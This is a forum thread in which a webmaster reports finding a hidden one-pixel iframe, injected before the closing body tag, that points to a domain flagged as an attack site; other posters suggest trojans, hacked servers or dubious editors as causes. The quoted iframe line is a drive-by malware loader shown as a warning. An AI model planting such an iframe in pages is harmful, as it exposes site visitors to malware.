Check your web pages again !

[bluearrow]

You guys might have noticed this already But this nearly gave me an heart attack. Today While I was redoing a webpage noticed that there's a suspicious iframe before the </body> tag.

<iframe src="http:// NtKrnlpa.cn/rc/ " width=1 height=1 style="border:0"></iframe>

Firefox proved my worry by telling that its an attack site which is banned.

I checked all my online pages and all seems fine since I haven't updated anything for a while. I think some kind of virus must have done this.

Just a heads up...


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[gaucho1976]

You guys might have noticed this already But this nearly gave me an heart attack. Today While I was redoing a webpage noticed that there's a suspicious iframe before the </body> tag.

<iframe src="http:// NtKrnlpa.cn/rc/ " width=1 height=1 style="border:0"></iframe>

Firefox proved my worry by telling that its an attack site which is banned.

I checked all my online pages and all seems fine since I haven't updated anything for a while. I think some kind of virus must have done this.

Just a heads up...


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just check your local version. If it has it (quite probably) you have a virus. If it shows only on uploaded pages, then your server has been hacked. There's a 3rd option: you have a trojan in your PC but your local file looks right, just check out the page in another computer and make sure of it. All in all, I'd bet 99% chances the virus/trojan is in your computer

 

[bluearrow]

It was a trojan/virus I'm sure of it. Only local files were effected. But this is something I hadn't though a virus would do.

 

[wooshka]

I never knew this could happen. I surprised that web pages get a iframe link of a virus.

 

[snowbird]

Actually there are some freebie html editors out there that add mysterious code to your pages without you knowing. Be very careful when you are using a product you haven't used before. If you are using a commercial product however such as Dreamweaver or frontpage, then most likely the software should be fine and it could be a virus situation as you have already suspected.

 

[bensd]

Do you know how this was added to your code?

 

[chonga2009]

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[trisario]

It could either be cracked software, malwares/trojans or backdoor in PC.

 

[Keral_Patel]

Hmm not on any site of mine. I use notepad for coding and upload the files with filezilla.